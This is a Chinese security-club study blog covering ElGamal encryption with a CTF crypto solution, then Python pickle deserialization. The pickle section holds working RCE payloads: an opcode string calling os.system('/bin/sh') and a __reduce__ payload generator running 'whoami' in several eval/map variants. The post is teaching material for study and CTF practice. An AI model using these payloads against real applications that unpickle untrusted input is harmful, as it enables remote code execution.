皮蛋厂的学习日记 | 2022.7.8 Elgamal 加密算法 & python反序列化

皮蛋厂的学习日记系列为山东警察学院网安社成员日常学习分享，希望能与大家共同学习、共同进步~

• 2021级 Mu.Chen |Elgamal 加密算法

• 前言

• 密钥产生

• 算法加密过程

• 解密

• 安全性

• 一个题目

• 2021级fake_s0u1 | python的反序列化

• python的序列化和反序列化是什么

• python 是如何做到序列化 和 反序列化的

• 与php反序列化的对比

• 反序列化漏洞何来

2021级 Mu.Chen |Elgamal 加密算法

ACTF还没复现完，题目太多了，完事儿放下周吧

前言

ElGamal算法是由Tather ElGamal在1985年提出的，它是一种基于离散对数难题的加密体系，既能够用于数据加密，又能用于数字签名。与RSA算法相比，ElGamal算法哪怕是使用相同的私钥，对相同的明文进行加密，每次加密后得到的签名也各不相同，有效的防止了网络中可能出现的重放攻击。所以EIGamal密码是除了RSA密码之外最有代表性的公开密钥密码。

密钥产生

1、选择一个素数p，以及小于p的两个随机数g和x

2、计算y=pow(g,x,p)

3、公钥为(y,g,p)，私钥为x

算法加密过程

M为明文

1、选取一个与p-1互素的整数k

2、C1=pow(g,k,p)

3、C2=(y^k)*M mod p

4、(C1,C2)即为密文

解密

解密真的炒鸡简单，具体怎么推导的我就不列了，记住一条公式就行

M=(C2/C1^x)%p

安全性

由于私钥x是通信双方共享的，别人不知道

所以，加密完以后的密文(y,g,p)被别人盗取后，想要获取明文M，只能通过C2=(y^k)*M mod p这个式子来获得，这里边只有k和M是不知道的，所以只有获得了k才能得到M，而想获得k，只有通过C1=pow(g,k,p)，这里面虽然只有k是未知数，但是这是个离散对数问题，求对数的过程还是很困难的，尤其对于模极大的情况，所以Elgamal密码体制还是很安全的。

一个题目

from Crypto.Util.number import *

def keygen(size):
    q = getPrime(80)
    k = getPrime(944)   
    while True:
        p = q * k + 1
        if isPrime(p):
            break
        k += 1
    g = 2
    while True:
        if pow(g, q, p) == 1:
            break
        g += 1
    A = getRandomInteger(size) % q
    B = getRandomInteger(size) % q
    x = getRandomInteger(size) % q
    print(A+'n'+B+'n')
    h = pow(g, x, p)
    return (g, h, A, B, p, q), (x)


def rand(A, B, q):
    global rand_state
    rand_state, ret = (A * rand_state + B) % q, rand_state
    return ret


def encrypt(pubkey, m):
    g, h, A, B, p, q = pubkey
    assert 0 < m <= p
    r = rand(A, B, q)
    c1 = pow(g, r, p)
    c2 = (m * pow(h, r, p)) % p
    return (c1, c2)

rand_state = getPrime(1024)
pubkey, privkey = keygen(1024)

m = bytes_to_long(FLAG)
c1, c2 = encrypt(pubkey, m)
c1_, c2_ = encrypt(pubkey, m)

print(c1, c2)
print(c1_, c2_)

s0 = 543263588863771657634119
s1 = 628899245716105951093835
s2 = 78708024695487418261582
s3 = 598971435111109998816796
s4 = 789474285039501272453373


assert ( A * s0 + B ) % q == s1
assert ( A * s1 + B ) % q == s2
assert ( A * s2 + B ) % q == s3
assert ( A * s3 + B ) % q == s4


p = 65211247300401312530078141569304950676358489059623557848188896752173856845051471066071652073612337629832155846984721797768267868868902023383604553319793550396610085424563231688918357710337401138108050205457200940158475922063279384491022916790549837379548978141370347556053597178221402425212594060342213485311
g = 27642593390439430783453736408814717946185190497201679721975757020767271070510268596627490205095779429964809833535285315202625851326460572368018875381603399143376574281200028337681552876140857556460885848491160812604549770668188783258592940823128376128198726254875984002214053523752696104568469730021811399216
h = 54585833166051670245656045196940486576634589000609010947618047461787934106392112227019662788387352615714332234871251868259282522817042504587428441746855906297390193418159792477477443129333707197013251839952389651332058368911829464978546505729530760951698134101053626585254469108630886768357270544236516534904


c1 = 60724920570148295800083597588524297283595971970237964464679084640302395172192639331196385150232229004030419122038089044697951208850497923486467859070476427472465291810423905736825272208842988090394035980454248119048131354993356125895595138979611664707727518852984351599604226889848831071126576874892808080133
c2 = 48616294792900599931167965577794374684760165574922600262773518630884983374432147726140430372696876107933565006549344582099592376234783044818320678499613925823621554608542446585829308488452057340023780821973913517239972817669309837103043456714481646128392677624092659929248296869048674230341175765084122344264
c1_ = 42875731538109170678735196002365281622531058597803022779529275736483962610547258618168523955709341579773947887175626960699426438456382655370090748369934296474999389316334717699127421889816721511602392591677377678759026657582648354688447456509292302633971842316239774410380221303269351351929586256938787054867
c2_ = 64829024929257668640929285124747107162970460545535885047576569803424908055130477684809317765011143527867645692710091307694839524199204611328374569742391489915929451079830143261799375621377093290249652912850024319433129432676683899459510155157108727860920017105870104383111111395351496171846620163716404148070

先是个LCG问题，闭眼出参数

A = 12742153496769814072597
B = 3035433788765894539799
q = 791763770658839585424113
p = 65211247300401312530078141569304950676358489059623557848188896752173856845051471066071652073612337629832155846984721797768267868868902023383604553319793550396610085424563231688918357710337401138108050205457200940158475922063279384491022916790549837379548978141370347556053597178221402425212594060342213485311
g = 27642593390439430783453736408814717946185190497201679721975757020767271070510268596627490205095779429964809833535285315202625851326460572368018875381603399143376574281200028337681552876140857556460885848491160812604549770668188783258592940823128376128198726254875984002214053523752696104568469730021811399216
h = 54585833166051670245656045196940486576634589000609010947618047461787934106392112227019662788387352615714332234871251868259282522817042504587428441746855906297390193418159792477477443129333707197013251839952389651332058368911829464978546505729530760951698134101053626585254469108630886768357270544236516534904
c1 = 60724920570148295800083597588524297283595971970237964464679084640302395172192639331196385150232229004030419122038089044697951208850497923486467859070476427472465291810423905736825272208842988090394035980454248119048131354993356125895595138979611664707727518852984351599604226889848831071126576874892808080133
c2 = 48616294792900599931167965577794374684760165574922600262773518630884983374432147726140430372696876107933565006549344582099592376234783044818320678499613925823621554608542446585829308488452057340023780821973913517239972817669309837103043456714481646128392677624092659929248296869048674230341175765084122344264
c1_ = 42875731538109170678735196002365281622531058597803022779529275736483962610547258618168523955709341579773947887175626960699426438456382655370090748369934296474999389316334717699127421889816721511602392591677377678759026657582648354688447456509292302633971842316239774410380221303269351351929586256938787054867
c2_ = 64829024929257668640929285124747107162970460545535885047576569803424908055130477684809317765011143527867645692710091307694839524199204611328374569742391489915929451079830143261799375621377093290249652912850024319433129432676683899459510155157108727860920017105870104383111111395351496171846620163716404148070

(typora的公式块飞书不能识别，所以涉及到公式的地方我还是写在纸上更直观一点)

A = 12742153496769814072597
B = 3035433788765894539799
q = 791763770658839585424113
p = 65211247300401312530078141569304950676358489059623557848188896752173856845051471066071652073612337629832155846984721797768267868868902023383604553319793550396610085424563231688918357710337401138108050205457200940158475922063279384491022916790549837379548978141370347556053597178221402425212594060342213485311
g = 27642593390439430783453736408814717946185190497201679721975757020767271070510268596627490205095779429964809833535285315202625851326460572368018875381603399143376574281200028337681552876140857556460885848491160812604549770668188783258592940823128376128198726254875984002214053523752696104568469730021811399216
h = 54585833166051670245656045196940486576634589000609010947618047461787934106392112227019662788387352615714332234871251868259282522817042504587428441746855906297390193418159792477477443129333707197013251839952389651332058368911829464978546505729530760951698134101053626585254469108630886768357270544236516534904
c1 = 60724920570148295800083597588524297283595971970237964464679084640302395172192639331196385150232229004030419122038089044697951208850497923486467859070476427472465291810423905736825272208842988090394035980454248119048131354993356125895595138979611664707727518852984351599604226889848831071126576874892808080133
c2 = 48616294792900599931167965577794374684760165574922600262773518630884983374432147726140430372696876107933565006549344582099592376234783044818320678499613925823621554608542446585829308488452057340023780821973913517239972817669309837103043456714481646128392677624092659929248296869048674230341175765084122344264
c1_ = 42875731538109170678735196002365281622531058597803022779529275736483962610547258618168523955709341579773947887175626960699426438456382655370090748369934296474999389316334717699127421889816721511602392591677377678759026657582648354688447456509292302633971842316239774410380221303269351351929586256938787054867
c2_ = 64829024929257668640929285124747107162970460545535885047576569803424908055130477684809317765011143527867645692710091307694839524199204611328374569742391489915929451079830143261799375621377093290249652912850024319433129432676683899459510155157108727860920017105870104383111111395351496171846620163716404148070
from Crypto.Util.number import *
import gmpy2
m_q = pow(c2, q, p)
m_A_1 = (pow(c2, A, p) * gmpy2.invert(c2_, p) * pow(h, B, p)) % p
_, i, j = gmpy2.gcdext(A-1, q)
if i > 0:
    tmp1 = pow(m_A_1, i, p)
else:
    tmp1 = gmpy2.invert(int(pow(m_A_1, -i, p)), p)
if j > 0:
    tmp2 = pow(m_q, j, p)
else:
    tmp2 = gmpy2.invert(int(pow(m_q, -j, p)), p)
m = (tmp1 * tmp2) % p
print(long_to_bytes(m))

题目不错，值得多看几遍

2021级fake_s0u1 | python的反序列化

python的序列化和反序列化是什么

python的序列化和反序列化 是将一个类对象向字节流转化从而进行存储 和 传输 然后使用的时候 再将字节流转化回原始的对象的一个过程

我们可以用代码 来展示出这个序列化 和反序列化 的过程

import pickle
class People(object):
    def __init__(self,name = "fake_s0u1"):
        self.name = name

    def say(self):
        print "Hello ! My friends"

a=People()
c=pickle.dumps(a)
print c

其输出是这样子的

ccopy_reg
_reconstructor
p0
(c__main__
people
p1
c__builtin__
object
p2
Ntp3
Rp4
(dp5
S'name'
p6
S'fake_s0u1'
p7
sb.

在其中 我们可以看到 我们对象的属性 name 和我们所属的类 都已经存储在里面了

那么反序列化的代码演示如下

import pickle
class People(object):
    def __init__(self,name = "fake_s0u1"):
        self.name = name

    def say(self):
        print "Hello ! My friends"

a=People()
c=pickle.dumps(a)
d = pickle.loads(c)
d.say()

其输出就是 hello ！my friends

我们可以看出 与php的序列化 其实是大同小异的

当我们在其反序列化之前 将people删除了 那么我们在运行的过程中就会因为对象在当前的运行环境中 没有找到这个类而报错 从而反序列化失败

(1)从对象提取所有属性,并将属性转化为名值对

(2)写入对象的类名

(3)写入名值对

(1)获取 pickle 输入流

(2)重建属性列表

(3)根据类名创建一个新的对象

(4)将属性复制到新的对象中

python 是如何做到序列化 和 反序列化的

python为我们提供了两个比较重要的库pickle 和 cpickle 后者 是底层使用c语言书写 速度是pickle 的1000倍 但是接口相同

序列化

pickle.dump(文件) 
pickle.dumps(字符串)

反序列化

pickle.load(文件)
pickle.loads(字符串)

他的底层 是通过PVM来实现的 即为python虚拟机 它是实现python序列化 和反序列化的最根本的东西

他是由三个部分组成引擎（或者叫指令分析器），栈区、还有一个 Memo （可以称为标签区）

引擎的作用

从头开始读取流中的操作码和参数 并对其进行处理 在这个过程中 会改变栈区 和标签区 处理结束之后 会到达栈顶 形成并返回反序列化的对象

栈区的作用

作为流数据处理过程中的暂存区 在不断的进出过程中 完成对数据流的反序列化 并最终在栈上生成反序列化的结果

标签区的作用

如同其名 是数据的一个索引 或者 标记

这个图片可以比较好的解释

注意PVM指令的书写规范

(1)操作码是单字节的

(2)带参数的指令用换行符定界

几个重点关注的

S : 后面跟的是字符串

( ：作为命令执行到哪里的一个标记

t ：将从 t 到标记的全部元素组合成一个元祖，然后放入栈中

c ：定义模块名和类名（模块名和类名之间使用回车分隔）

R ：从栈中取出可调用函数以及元祖形式的参数来执行，并把结果放回栈中

. ：点号是结束符

序列化是将一个对象 转化为字符串的过程 我们通过pickle 来实现这个过程

我们举一个栗子

cos
system
(S'/bin/sh'
tR.

我们可以借助上面的操作码 来看一下这个需要怎样来执行

第一行的c 后面是模块名 换行之后是类名 于是就将os.system放入栈中

然后的( 是标记符 我们将一个标记放入栈中

S的后面是字符串 放入栈中

t将栈中标记之前的内容取出来转化成元组 再存入栈中（’/bin/sh’,）随后 标记消失

然后 R将元组取出 并将callable取出 将元组作为callable的参数 并执行 对应这里就是os.system('/bin/sh') 然后再将结果存入栈中

但是并不是所有的对象都能使用 pickle 进行序列化和反序列化，比如说 文件对象和网络套接字对象以及代码对象就不可以

与php反序列化的对比

相比于 PHP 反序列化必须要依赖于当前代码中类的存在以及方法的存在，Python 凭借着自己彻底的面向对象的特性完胜 PHP ，Python 除了能反序列化当前代码中出现的类(包括通过 import的方式引入的模块中的类)的对象以外，还能利用其彻底的面向对象的特性来反序列化使用 types 创建的匿名对象，这样的话就大大拓宽了我们的攻击面

反序列化漏洞何来

官方文档中的介绍 并没有义务 保证你传入的反序列化的函数的内容是安全的

pickletools的指令集 卡可以帮助我们更好的理解 序列化的过程

MARK           = b'('   # push special markobject on stack
STOP           = b'.'   # every pickle ends with STOP
POP            = b'0'   # discard topmost stack item
POP_MARK       = b'1'   # discard stack top through topmost markobject
DUP            = b'2'   # duplicate top stack item
FLOAT          = b'F'   # push float object; decimal string argument
INT            = b'I'   # push integer or bool; decimal string argument
BININT         = b'J'   # push four-byte signed int
BININT1        = b'K'   # push 1-byte unsigned int
LONG           = b'L'   # push long; decimal string argument
BININT2        = b'M'   # push 2-byte unsigned int
NONE           = b'N'   # push None
PERSID         = b'P'   # push persistent object; id is taken from string arg
BINPERSID      = b'Q'   #  "       "         "  ;  "  "   "     "  stack
REDUCE         = b'R'   # apply callable to argtuple, both on stack
STRING         = b'S'   # push string; NL-terminated string argument
BINSTRING      = b'T'   # push string; counted binary string argument
SHORT_BINSTRING= b'U'   #  "     "   ;    "      "       "      " < 256 bytes
UNICODE        = b'V'   # push Unicode string; raw-unicode-escaped'd argument
BINUNICODE     = b'X'   #   "     "       "  ; counted UTF-8 string argument
APPEND         = b'a'   # append stack top to list below it
BUILD          = b'b'   # call __setstate__ or __dict__.update()
GLOBAL         = b'c'   # push self.find_class(modname, name); 2 string args
DICT           = b'd'   # build a dict from stack items
EMPTY_DICT     = b'}'   # push empty dict
APPENDS        = b'e'   # extend list on stack by topmost stack slice
GET            = b'g'   # push item from memo on stack; index is string arg
BINGET         = b'h'   #   "    "    "    "   "   "  ;   "    " 1-byte arg
INST           = b'i'   # build & push class instance
LONG_BINGET    = b'j'   # push item from memo on stack; index is 4-byte arg
LIST           = b'l'   # build list from topmost stack items
EMPTY_LIST     = b']'   # push empty list
OBJ            = b'o'   # build & push class instance
PUT            = b'p'   # store stack top in memo; index is string arg
BINPUT         = b'q'   #   "     "    "   "   " ;   "    " 1-byte arg
LONG_BINPUT    = b'r'   #   "     "    "   "   " ;   "    " 4-byte arg
SETITEM        = b's'   # add key+value pair to dict
TUPLE          = b't'   # build tuple from topmost stack items
EMPTY_TUPLE    = b')'   # push empty tuple
SETITEMS       = b'u'   # modify dict by adding topmost key+value pairs
BINFLOAT       = b'G'   # push float; arg is 8-byte float encoding
TRUE           = b'I01n'  # not an opcode; see INT docs in pickletools.py
FALSE          = b'I00n'  # not an opcode; see INT docs in pickletools.py

当然 我们利用的关键点 还是如何构造我们的反序列化的payload 那么 有一个__reduce__ 魔术方法 我们rce常用的就是reduce

大部分常见的pickele反序列化 都是利用的reduce

触发reduce的指令码为R

# pickletools.py 1955行
name='REDUCE',
      code='R',
      arg=None,
      stack_before=[anyobject, anyobject],
      stack_after=[anyobject],
      proto=0,
      doc="""Push an object built from a callable and an argument tuple.

      The opcode is named to remind of the __reduce__() method.

      Stack before: ... callable pytuple
      Stack after:  ... callable(*pytuple)

      The callable and the argument tuple are the first two items returned
      by a __reduce__ method.  Applying the callable to the argtuple is
      supposed to reproduce the original object, or at least get it started.
      If the __reduce__ method returns a 3-tuple, the last component is an
      argument to be passed to the object's __setstate__, and then the REDUCE
      opcode is followed by code to create setstate's argument, and then a
      BUILD opcode to apply  __setstate__ to that argument.

      If not isinstance(callable, type), REDUCE complains unless the
      callable has been registered with the copyreg module's
      safe_constructors dict, or the callable has a magic
      '__safe_for_unpickling__' attribute with a true value.  I'm not sure
      why it does this, but I've sure seen this complaint often enough when
      I didn't want to <wink>.
      """

其大意为

取当前栈的栈顶记为args 然后把他弹掉

取当前栈的栈顶记为f 然后把他弹掉

以args为参数 执行函数f 把结果压进当前栈

只要在序列化中的字符串中存在R指令，__reduce__方法就会被执行，无论正常程序中是否写明了__reduce__方法

#coding=utf-8
import pickle
import urllib.request
#python2
#import urllib
import base64

class rayi(object):
    def __reduce__(self):
        # 未导入os模块，通用
        return (__import__('os').system, ("whoami",))
        # return eval,("__import__('os').system('whoami')",)
        # return map, (__import__('os').system, ('whoami',))
        # return map, (__import__('os').system, ['whoami'])

        # 导入os模块
        # return (os.system, ('whoami',))
        # return eval, ("os.system('whoami')",)
        # return map, (os.system, ('whoami',))
        # return map, (os.system, ['whoami'])

a_class = rayi()
result = pickle.dumps(a_class)
print(result)
print(base64.b64encode(result))
#python3
print(urllib.request.quote(result))
#python2
#print urllib.quote(result)

把生成的payload拿到无__reduce__的正常程序中，命令仍然会被执行

name='GLOBAL',
      code='c',
      arg=stringnl_noescape_pair,
      stack_before=[],
      stack_after=[anyobject],
      proto=0,
      doc="""Push a global object (module.attr) on the stack.

      Two newline-terminated strings follow the GLOBAL opcode.  The first is
      taken as a module name, and the second as a class name.  The class
      object module.class is pushed on the stack.  More accurately, the
      object returned by self.find_class(module, class) is pushed on the
      stack, so unpickling subclasses can override this form of lookup.
      """

简单来说 c指令码就是可以用来调用全局的值

一个小例子

import secret
import pickle
import pickletools

class flag():
    def __init__(self,a,b):
        self.a = a
        self.b = b
# new_flag = pickle.dumps(flag('A','B'),protocol=3)
# print(new_flag)
# pickletools.dis(new_flag)

your_payload = b'?'
other_flag = pickle.loads(your_payload)
secret_flag = flag(secret.a,secret.b)

if other_flag.a == secret_flag.a and other_flag.b == secret_flag.b:
    print('flag{xxxxxx}')
else:
    print('No!')

# secret.py
# you can not see this
a = 'aaaa'
b = 'bbbb'

其中 当我们的other_flag.a == secret_flag.a and other_flag.b == secret_flag.b: 才满足条件 回输出flag 但是 我们此时 是不知道secret中的值的 那么我们怎么样 才能构造payload 拿到flag呢

我们可以看一下一般情况下的flag类

b'x80x03c__main__nflagnqx00)x81qx01}qx02(Xx01x00x00x00aqx03Xx01x00x00x00Aqx04Xx01x00x00x00bqx05Xx01x00x00x00Bqx06ub.'
    0: x80 PROTO      3
    2: c    GLOBAL     '__main__ flag'
   17: q    BINPUT     0
   19: )    EMPTY_TUPLE
   20: x81 NEWOBJ
   21: q    BINPUT     1
   23: }    EMPTY_DICT
   24: q    BINPUT     2
   26: (    MARK
   27: X        BINUNICODE 'a'
   33: q        BINPUT     3
   35: X        BINUNICODE 'A'
   41: q        BINPUT     4
   43: X        BINUNICODE 'b'
   49: q        BINPUT     5
   51: X        BINUNICODE 'B'
   57: q        BINPUT     6
   59: u        SETITEMS   (MARK at 26)
   60: b    BUILD
   61: .    STOP
highest protocol among opcodes = 2

如果 我们在其中传参的地方 修改一下payload 将a 与 b的传参值改为secret.a secret.b

是不是就可以成功调用其中的值了呢